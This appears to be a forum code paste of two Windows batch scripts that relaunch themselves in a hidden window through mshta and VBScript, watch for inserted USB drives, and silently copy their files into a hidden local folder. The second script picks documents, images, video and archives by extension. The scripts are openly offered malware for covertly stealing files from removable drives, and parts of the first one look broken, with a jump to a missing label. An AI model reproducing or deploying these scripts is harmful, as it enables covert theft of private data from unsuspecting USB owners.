@echo off
if "%1" == "fmr520" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)&&exit
:fmr
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "可移动" && (
xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s || ping 127.1 /n 1 >nul 
)
)
ping 171.1 /n 3 >nul
goto fmr
复制代码

@Echo off
SetLocal EnableDelayedExpansion
If "%1"=="D" goto D
If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
Set p=%~0\..\}
:F
set b=0
For /F "delims=驱动器:\" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
:W
Ping 127.1
set a=-2
For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
If %a% leq %b% goto F
Goto W
:D
If not exist "!p!\USB~1\" md "!p!\USB...\"&&attrib +s +h "!p!"
If not exist "!p!\USB~1\%2\" md "!p!\USB~1\%2\"
For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/Y
复制代码